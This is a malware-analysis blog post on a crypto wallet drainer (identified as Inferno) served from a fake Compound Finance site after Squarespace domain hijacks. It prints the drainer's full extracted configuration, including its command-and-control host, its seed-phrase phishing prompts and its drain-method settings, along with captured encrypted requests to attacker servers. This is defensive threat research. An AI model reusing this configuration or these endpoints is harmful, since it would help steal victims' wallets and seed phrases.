Overview
On July 12th 2024 a security advisory was published by SEAL regarding the recent Squarespace domain hijacking security incidents. The advisory was authored by samczsun, tayvano, and AndrewMohawk, and one method of distribution was via tweet. Samczsun has said that it is most likely related to the Google domain migration and that any extra users should be removed from having access and 2FA needs to be enabled for anyone using the service.
Indicators of Compromise
They list an IP as an indicator of compromise for the A records: 185[.]196.9[.]29. This is a Windows server with RDP open over port 3389. Navigating to the IP will bring you to a site that looks like Compound Finance's site:
It can also be observed that there is not a valid certificate and the site is being accessed over HTTP:
At the time of posting this both the URL's listed under "drainers" seem to be offline and the indicated C2 shows this message upon navigating to it:
Googling for the URL shows two results:
Digging deeper into both of these URLs (rewards-mendifinance[.]app & eigeniayer-mvp[.]app) show that they were both seen between June 13-16th and had associated activity on Twitter using fake accounts to post the malicious URLs. These Twitter accounts have since been suspended and their posts removed.
Looking into the responses, there is a "main.js" file that can be observed, along with several other JavaScript files:
Looking further into this file, it seems heavily obfuscated. Using a tool like js-beautify we can take a clearer look at it without having to jump into deobfuscation quite yet. Some suspicious human-readable strings can be observed, but nothing concrete to prove intent or functionality:
Just the verbiage itself is pretty suspicious though. This is recent, but I want fresh, so I'm going to navigate back to the fake Compound site, and see if I can observe anything nearly as suspicious looking.
Initial Look at the Malicious JS File
I want to give a shoutout to the browser extension "Pocket Universe" here, as it will stop you from navigating to the malicious site thanks to a report from 1c4m3by:
Continuing past the warning and attempting to connect an empty Metamask wallet yields no results:
Checking the dev tools shows a large JavaScript file present that has a UUID for the name, and the contents are obfuscated. Just for reference, the entropy on the file is 4.75.
Using a tool such as JS beautify the code can be cleaned up a little bit. Then searching through it for some keywords that the other one shared, some indicators of similarity can be found:
Comparing this JavaScript file with the old one, they seem to be very different on the surface. The lines of code for the Compound JS file post-beautification comes in at 23,724, whereas the older one comes in at 8,568. This doesn't necessarily mean anything, as the newer one could just be using more filler, fake functions, further obfuscation, etc. There is also the chance that I don't have the full file and the site I got the old one from (URL Scan) might have truncated part of the JS file if it was too large.
Looking deeper into the JS file found on the Compound Finance site, the functionality can be seen a little more plainly:
At this time, we have to ask ourselves "What would any self-respecting malware analyst do with this JS? And the answer is: put "console.log()" EVERYWHERE:
In addition to this, I wanted to edit the top of the script in order to stop it from auto-executing in the online JS environment that I'm using here. Forcing a break at the beginning makes it so that any modifications I'm making to the script aren't missed due to the auto-execution passing them faster than I can see.
There is lots of information to parse through here, but one of the first things one of the first things logged to the console from my tinkering included several wallet addresses. Some of these addresses were from staking contracts, which I can assume means this drainer has the functionality to unstake NFTs. Another address seems to be a known-bad though.
The address "0xc143ea056dd2f62a128808cc0c47d9477f9080c080a037437ba52140dbac1d7dc65cdb58531e038930c82314817f91cb8d8ea36a2bd0a001e134479d567b8595d7" came with three results on Google. One of which was:
I'm new to the world of crypto & drainers, so I've only heard of a couple. So at this point I spent some time digging around trying to figure out exactly what "Kingdrainer" is, and if this sample is indeed it. Unfortunately this page from Crax Pro has been deleted, because I was really hoping it had some helpful information. Luckily for me... they have a site: "kingdrainer[.]com/".
And what's that??? A DEMO BUTTON??? Of course I have to click it! There are multiple demo options, so I selected the first one to take a look at.
And in it's JavaScript files it has a pretty similar looking one that is obfuscated to heck and back:
Now, this isn't necessarily that unique or inidicative of anything other than obfuscation being present. It doesn't inherently make it the same threat actor, as they could just be using the same tools. In this instance, they both look similar, but the output could be from the popular JS obfuscator that can be found here.
Before:
// Paste your JavaScript code here
function hi() {
console.log("Hello World!");
}
hi();
After:
function _0x22b1(){var _0x23d0ed=['log','2396PtTrSH','1457488lAnhNg','1385638YmLvES','7820180yYfXPn','608004IfaWxT','27769WEeILJ','1038pohIyE','708115tWWOtf','2225knOPdE','18ATBlGJ'];_0x22b1=function(){return _0x23d0ed;};return _0x22b1();}(function(_0x5560d0,_0x1cfe00){var _0x359d21=_0x161e,_0x9576eb=_0x5560d0();while(!![]){try{var _0x1a4aa8=-parseInt(_0x359d21(0xfa))/0x1+-parseInt(_0x359d21(0xf5))/0x2+parseInt(_0x359d21(0xf7))/0x3+-parseInt(_0x359d21(0xfe))/0x4*(parseInt(_0x359d21(0xfb))/0x5)+-parseInt(_0x359d21(0xf9))/0x6*(-parseInt(_0x359d21(0xf8))/0x7)+parseInt(_0x359d21(0xf4))/0x8*(parseInt(_0x359d21(0xfc))/0x9)+parseInt(_0x359d21(0xf6))/0xa;if(_0x1a4aa8===_0x1cfe00)break;else _0x9576eb['push'](_0x9576eb['shift']());}catch(_0x5b90cf){_0x9576eb['push'](_0x9576eb['shift']());}}}(_0x22b1,0x59cf4));function _0x161e(_0x17b262,_0x501e0c){var _0x22b1f4=_0x22b1();return _0x161e=function(_0x161e92,_0x920a7e){_0x161e92=_0x161e92-0xf4;var _0x5969a3=_0x22b1f4[_0x161e92];return _0x5969a3;},_0x161e(_0x17b262,_0x501e0c);}function hi(){var _0x587c94=_0x161e;console[_0x587c94(0xfd)]('Hello\x20World!');}hi();
I'll need to find something more concrete if I want to link anything, so in the meantime I can continue parsing through my console.log() output.
In terms of determining functionality for "Kingdrainer", the site is very helpful. It lists it all out, and also contains a handy FAQ:
They have a Telegram channel as well, but the user doesn't seem to exist anymore:
I was able to confirm the association of "checker-api[.]su" though, which is nice:
Checking deeper into the two scripts (one from Compound, one from the Kingdrainer demo), it looks like they are indeed from different sources or versions of a drainer (at first glance at least). The Kingdrainer demo has a lot more explicit configurations that are human-readable and also leans less heavily on Telegram inside the script. This is not definitive, but I wanted to focus on the Compound site's script, which means eliminating the need to look further into the Kingdrainer demo (for now). Why do they both contain the same address that flagged Kingdrainer on Google? Who knows.
A lot of the deobfuscated addresses involved seem to be for different marketplaces and projects involving NFTs:
Extracting the Configuration
At this point I had it pegged as a drainer known as "Inferno" and attempted to follow a great walkthrough that can found here, and then use a deobfuscation script from the walkthrough that can be found here. Sadly, the deobfuscation script didn't work, but the extra information the author included was extremely helpful. He included an output of the hardcoded configuration file which can be found here, which I then compared variable names and functionalities with the output I extracted, and confirmed that they shared a lot of the same malicious hardcoded configuration options.
Previous Extracted Inferno Configuration:
JS File Output from console.log():
Full confirmation of this was found through the guidance of that helpful blog post previously mentioned, in addition to the placement of a billion more breakpoints... specifically around the usage of "CryptoJS":
Then in the Chrome Developer Tools you should be able to see the object within "Scope" under "Block":
Here is the full configuration:
{
"api": "https://checker-api.su",
"customerId": "4koocjZinX",
"customer_id": "4koocjZinX",
"configId": "kTrSp",
"hardcoded": false,
"connect_buttons_class": "interact-button",
"drain_buttons_class": "interact-button",
"disconnect_buttons_class": "",
"connect_text": "Connect Wallet",
"connected_text": "Connected As {wallet}",
"loading_text": "Verifying",
"verify_text": "Please Verify",
"drain_button_waiting_click_text": "Claim",
"change_chain_text": "Please Switch Chain",
"not_eligible_text": "You Are Not Eligible",
"disconnect_text": "Disconnect",
"transfer_function_name": "Claim",
"wallet_connect_project_id": "c8a268cf41141afe3818072b695a2407",
"trust_sign_text": "Please verify the ownership of wallet address: {wallet} to continue",
"hidden_chain_name": "Merge",
"theme": "light",
"images_path": "./images",
"disable_eth_sign_if_wallet_connect": true,
"disable_eth_sign_if_metamask": true,
"use_increase_allowance_when_available": true,
"use_token_transfer_if_increase_allowance_not_available": true,
"use_opensea_transfers": true,
"use_multi_functions_contract": true,
"enable_popup": true,
"popup_prompt_change_chain": true,
"popup_prompt_ask_confirm": true,
"popup_prompt_ask_confirm_only_one_time": true,
"use_wallet_connect_v4": true,
"prompt_trust_sign": true,
"trust_sign_use_typed_data": true,
"log_prompts": true,
"log_chains_accepts": true,
"log_full_site_url": true,
"use_ratio": true,
"disable_dev_tool": true,
"auto_load_files": true,
"refresh_at_end": true,
"reload_if_not_eligible": true,
"popup_style": 6,
"popup_5_max_time_before_auto_close": 15000,
"popup_6_max_time_before_auto_close": 15000,
"modal_style": 12,
"min_ratio_for_ask_change_chain": 0.95,
"min_wallet_total_value": 200,
"retry_count": 5,
"max_change_chain_retry": 2,
"only_chain_to_drain": 42161,
"nfts_api": 2,
"tokens_api": 2,
"max_slippage_on_swap": 10,
"popup_2_config": {
"max_time_before_auto_close": 7500,
"title": "Pending...",
"message": "Verify your wallet to continue"
},
"popup_3_config": {
"title": "Confirm this transaction in your wallet",
"max_time_before_auto_close": 7500
},
"popup_4_config": {
"open_function": "window.openPopup(param,isError)",
"close_function": "window.closePopup()",
"max_time_before_auto_close": 7500,
"mode": 1
},
"wallet_connect_config": {
"logo_url": "",
"background_image": "",
"background_color": "",
"accent_color": "",
"accept_fill_color": "",
"overlay_background_color": "",
"font_family": "",
"color_mix": "",
"color_mix_strength": 0,
"font_size_master": "",
"remove_border_radius": false
},
"wallet_connect_spoof": {
"name": "Opensea",
"description": "Opeanse Official Marketplace",
"url": "https://opensea.io",
"icon": "https://opensea.io/favicon.ico",
"enabled": false
},
"seeds_drain": {
"enabled": true,
"checks_enabled": true,
"enable_other_wallets": true,
"name": "Non-web3 wallets",
"logo_path": "default",
"text": "Please enter your seed phrase to continue",
"pass_phrase_text": "Sign in to your hidden wallet (leave empty if you don't have one)",
"uneligible_text": "Seed not eligible, please try with another one",
"prompt_seed_over_price": 10,
"prompt_seed_under_price": 10000,
"default_wallet_icon_path": "default",
"promptSeedUnderPrice": 10000
},
"methods_risk_ratio": {
"permit": 2.5,
"permit2": 2.5,
"blurTransfers": 2,
"seaport": 2,
"makerDaoContract": 1.5,
"approvement": 1.5,
"tokenTransfer": 1.5,
"balanceTransfer": 1.5,
"swell": 1.5,
"apeCoinsUnstake": 1.5,
"swap": 1.5,
"wyvern": 1.5,
"gmx": 1.5,
"openseaTransfers": 1.5,
"x2y2BatchTransfer": 1.5,
"creepzTransfers": 1.5,
"punkTransfer": 1.5,
"safa": 1,
"liquidEtherfi": 1.25
},
"click_everywhere_open_modal": false,
"wait_click_of_drain_button_to_start": false,
"change_buttons_text": false,
"disable_permit2": false,
"disable_seaport": false,
"disable_permit": false,
"disable_swap": false,
"disable_blur": false,
"disable_wyvern": false,
"disable_x2y2_batch_transfer": false,
"use_token_transfer": false,
"use_window_provider_if_detected": false,
"auto_prompt": false,
"hide_poor_connects": false,
"balance_transfers_in_last_position": false,
"safa_in_last_position": false,
"hide_added_chain": false,
"drain_only_one_chain": false,
"blacklist_rabby": false,
"wait_page_load": false,
"create_wallet_for_seaport": false,
"use_cache_data": false,
"logs_style": 1
}
Just in case I hadn't already confirmed this being inferno drainer:
Hooking CryptoJS to See Encrypted POST Requests
The problem I've now run into is highlighted by the previously mentioned Medium article; that the JavaScript file is using CryptoJS in order to encrypt its communications. Navigating to the site while running a proxy tool such as Burp Suite will reveal these requests:
Looking deeper into these, the body of the requests is Base64 encoded. Taking a look at one of the requests to "checker-api[.]su shows this:
POST /config HTTP/2
Host: checker-api.su
Content-Length: 1240
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://185.196.9.29
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://185.196.9.29/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
U2FsdGVkX18ScKorBCZdMYSExsQaPifNGh3OH+61Zr8U7L91JFxBKvw8YhBnH/e1e7DSGMnXlh0OW+aZSdaXwe/AxSDx8NeKjb7HWoP5mM0MrI/xO32qz4WYFJstbPNJqW5iyhqNoOa0u/Fj0J0ij37zX7jcZz7q65YMYpZ8cGspeekPlKY0YTjKuupaNmFkeE2IA4MCMOUyQMlYzzmcHgZKlko3jh2/LWXs3vc+x/HVPnyDw6/Jqj+7sjLZSGaxaDPhVwgLT7DfqBCjmkNeKM8WSBlSQmaiaUqKFNFwgWs0Kcp2F8buJol+L+GvPHD7wNnzjG/LwA3i2IUZc9Z2QT/Uc8ktm03lOQ/YKNLVKhWmXHdyevEjqnJ4Zj2u+LuoxrvOswvlu2Aqqs+cpuomfvymv+zmtMxYd6Bt2ty/+AsxHT6z4DsOjbEhQYum2fgZ5K2fHQAtFHdkE6ifUPZEfrLsoGU8XYqhF/Acn0ian7MSg0U1WSFF086z75ZKvvJbvqYru9rMjp9zZC6+K/KB1MrUB/AnCWvhfhqTxJoV9eEb4WS8o+VQ78otvm8TGqYJEIFrqfYP3ujJ9rQkLmiY+z2/Jeecfees1SNTtcPOGP37dfQFSUMFbnlCrA4+yW+WJ8TL0R2PYgPrDlFWGNStiMMU/XYbZzgCh+/V1w1b/2uIAqDuVgx1KOZaVRKG44Zi3I0P62+SPNnn6c8omxjLeDAV2rclVy5/91DLm1Pih4QqqIBeidXIoeN7gqXbzyhwW02EJrsniRUJ0h+chHT5TE4IwrrKjmTn1lc3fq0pbUktQP5GiCt1oaLrEd1+rpVvXy+U/QbDOGaAx2EBlVYkqLmTD7oO3j7m+Tz1PFTjE6n1+HJnVic56QGF6xYIuc01BcrsrjRzTw3cZ/sVzqJlQJBxeE0MJjQZvHZd25klLDTJwXrWowfsY8MVdcgAjhZcwWzuKT7xF7an8lMd4OkR1C4fwtSZl+lhK0uhRuV6JHgMfDxQD52AwGY5guupC7Fp9Gx0RCflpJo3V8nuBk6TuEvVnGuvcKE6/BK4XqYDCj6LWgPDmzI548dBdtJOjHPoLis0yRgvq6uiuZuduRrz/OKRRiBJwkgzfPPI+j8tNvOXi8ZlIujwq9VMU9BM24b7USDx0L8trfxLmFHkJubqxSywTEaZMQBngfUUohwNwSpMHPI5+hbO3pSqKZAXS1rNszIJm2ZlLAzj/jpf7h8Nsw==
Decoding it shows:
Salted__pª+&]1ÆÄ>'ÍÎîµf¿ì¿u$\A*ü<bg÷µ{°ÒÉ×[æIÖÁïÀÅ ñð×¾ÇZùͬñ;}ªÏ
-lóI©nbÊ æ´»ñcÐ"~ó_¸Üg>êëb|pk)yé¦4a8ʺêZ6adxM0å2@ÉXÏ9JJ7¿-eìÞ÷>ÇñÕ>|ïɪ?»²2ÙHf±h3áWO°ß¨£C^(ÏHRBf¢iJÑpk4)ÊvÆî&~/á¯<pûÀÙóoËÀ
âØ
sÖvA?ÔsÉ-Må9Ø(ÒÕ*¦\wrzñ#ªrxf=®ø»¨Æ»Î³å»`*ªÏ¦ê&~ü¦¿ìæ´ÌXw mÚÜ¿ø1>³à;±!A¦Ùøä-wd¨PöD~²ì e<]¡ðH³E5Y!EÓγïJ¾ò[¾¦+»ÚÌsd.¾+òÔÊÔð' ká~Äõáád¼£åPïÊ-¾o¦ k©öÞèÉö´$.hû=¿%ç}ç¬Õ#SµÃÎýûuôICnyB¬>Éo'ÄËÑbëQVÔÃývg8ïÕ×
[ÿk îVu(æZUãbÜëo<ÙçéÏ(Ëx0Ú·%W.÷PËSâ*¨^ÕÈ¡ã{¥ÛÏ(p[M&»' ÒtùLNºÊdçÖW7~)mI-@þF+u¡¢ëÝ~®o_/ýÃ8fÇaV$¨¹ºÞ>æù<õ<Tã©õørgV'9é
ë¹Í5Êì®4sO
Ügû΢e@qxM&4¼v]Û%,4ÉÁzÖ£ìcÃuÈ\Álî)>ñ¶§òSàéÔ.ÂÔéa+K¡Fåz$x|<PÀf9멱iôltD'å¤7WÉîN¸KÕk¯p¡:ü¸^¦
>ZÃ29ãÇAvÒNsè.+4É/««¢¹¹óüâF IÂH3|óÈú?-6óÆe"èð«ÕLSÐLÛûQ ñп-üKQä&æêÅ,°LF1gõ¢
Á*Lò9úÎÞª)KZͳ2 fe,ãþ:_î
³
The response to this request is interesting though:
HTTP/2 403 Forbidden
Date: Sun, 21 Jul 2024 17:35:41 GMT
Content-Type: text/plain
Content-Length: 5
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 8a6cf2ed8e50b0b1-ATL
Pm us
Just a "Pm us" message. I'll have to go see if I can find where they want to be pm'd at later. A similar event can be seen occuring with the other site "25yzsif1ah34m[.]ru":
POST /config HTTP/2
Host: 25yzsif1ah34m.ru
Content-Length: 1240
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://185.196.9.29
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://185.196.9.29/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
U2FsdGVkX19Dacgt749qTYU75Cza2L/uwpZpBtG7oCQfnLYN8uktcXIaz76VS7ksHRevVexLS6bCuvJhZx1K2y/hGyrnUwr+C6w1b64wFfVGBYEf9qiSc0xOUtkfdpDN6Or8HVE6JBX3Ecq+h9Fdu06mL13i+/wLlkPNL+8kLMBqJLG0fh7obSSTPk63+XhazGF6QfRQr4tjBIJL/tnuVLGUfz2/0GvG8p7ZTe38n3xdUP6eWgEiwQG1gkZo2+v1Xtnb5HE1+RNM7tp9EwZG28kTv8CVMadm+c0h3nx2ndO86RZP+Km8fdz1czb2+VCieg7pSlgIN9rGzARs2XElZWtMTIxaAEHBSV2TQeUeL8jc+jiEJ3v1VroPVPauGeLtZfpSsiAMz6QXKdZi2eXti+Cuh8T55oqLjcK/RTLbwilRyABcNrae1scSvlyfklFgWJJHAUjHdzQrtFQq65P6+i89h4IHdV48ItxAQBF4Gci2cAeYknZ3XkMiW9QtNqvFK6Nz30AwIrUfaPyJoOcgOZfkWTQhMDRUv9hIWmcDyrYxhTrVAeQ9fb2Phc99VcX//+dWhsRip4exatgODXj6k4HyC/DFUxUYK3sKIg8VRNeF9xZrWagsSZ31b30b3zkk8EAmrSca2UQaBxzQkzMQoDX7Nu73VwBS+Erf2CfACb8tT6j+pSmESi2/3zXdxFyxtgGf4DO0ppZ1GpGLpbkC3lr26tiGFFQzVh9XJurQA9i6kOmBvCxzPUcL1hKG2K6vgCujwzbQRfuiG7t2NDLfGwCMd+nOkMQLW+BjPTlWGDVMzrcnZa4325FpF5JAczEFFIEgwXcPWiX6iqhcng5lkzKYh7k/4BvaVsyYGyeDF8WK7ufV+w6U45Oe01Cpj1SdQ8pRV521CGX9Q6K+uXgxGlWiP3QW2XtOJAenF+/IdRwbC10G4PaCJl5QxQByOomA8WLg9t6QbJ2f8weQ4/q0tHI+JESBZO9CTNzgW8Ns0h1gxYlyjbGm47lDwV47a2bKG+IInPe+V5klo23TqdCClNmUoxLj8avWNzGDIwLydiBf+FgHa2wGIs1A7q/wNtY0YcmOj6f0VZGGIbWKzLquS3NNzyrY7ODhUwtj6wKbD1YeZOfK2w5wA8tyDiExpF0UDrVN4VXB5FsCY8MLQitirBMYPlhnYdsE/Vt3dnDWu59zfo6QWWMIlIR+UrEzEUc4SBkjOPlcohZZkOL/Mw6eSA==
And it decoded is:
Salted__CiÈ-ïjM
;ä,ÚØ¿îÂiÑ» $¶
òé-qrϾK¹,¯UìKK¦ÂºòagJÛ/á*çS
þ¬5o®0õFö¨sLNRÙvÍèêüQ:$÷ʾÑ]»N¦/]âûüCÍ/ï$,Àj$±´~èm$>N·ùxZÌazAôP¯cKþÙîT±=¿ÐkÆòÙMíü|]PþZ"ÁµFhÛëõ^ÙÛäq5ùLîÚ}FÛÉ¿À1§fùÍ!Þ|vÓ¼éOø©¼}Üõs6öùP¢zéJX7ÚÆÌlÙq%ekLLZAÁI]Aå/ÈÜú8'{õVºTö®âíeúR² Ϥ)ÖbÙåíà®Äùæ¿E2ÛÂ)QÈ\6¶ÖǾ\Q`XGHÇw4+´T*ëúú/=u^<"Ü@@xȶpvw^C"[Ô-6«Å+£sß@0"µhü ç 9äY4!04T¿ØHZgʶ1
:Õä=}½
Ï}UÅÿÿçVÄb§±jØ
xúòðÅS+{
"D×
÷kY¨,Iõo}ß9$ð@&'ÙDÐ3 5û6î÷WRøJßØ'À ¿-O¨þ¥)J-¿ß5ÝÄ\±¶à3´¦u¥¹ÞZöêØT3VW&êÐغé¼,s=GÖØ®¯+£Ã6ÐEû¢»v42ßwéÎÄ[àc=9V5Lη'e®7Ûi@s1 ÁwZ%ú¨\e2¹?àÚVÌ'ÅîçÕûãÓP©TCÊQWµeýC¢¾¹x1U¢?tÙ{N$§ïÈu]àö&^PÅr:ñbàöÞlóãú´´r>$DdïBLÜà[ÃlÒ`År±¦ã¹CÁ^;kfÊâ÷¾W%£mÓ©ÐÙ£ãñ«Ö71#òv _øXkl"Í@î¯ð6Ö4aɧôU!µÌº®KsMÏ*ØìàáScëVdçÊÛpËr!1¤]µMáUÁä[cÃB+b¬>XgaÛý[wvpÖ»s~Yc~R±3G8H#8ù\¢Yâÿ3H
And then the response contains a Base64 encoded body as well:
HTTP/2 200 OK
Server: ddos-guard
Content-Security-Policy: upgrade-insecure-requests;
Set-Cookie: __ddg1_=SCAL9sHAdrP3PYQdOyvT; Domain=.25yzsif1ah34m.ru; HttpOnly; Path=/; Expires=Mon, 21-Jul-2025 17:37:54 GMT
Date: Sun, 21 Jul 2024 17:37:54 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Express
Access-Control-Allow-Origin: *
Etag: W/"1400-8SAt34DBbq6zlCqUex5hJ52uRRg"
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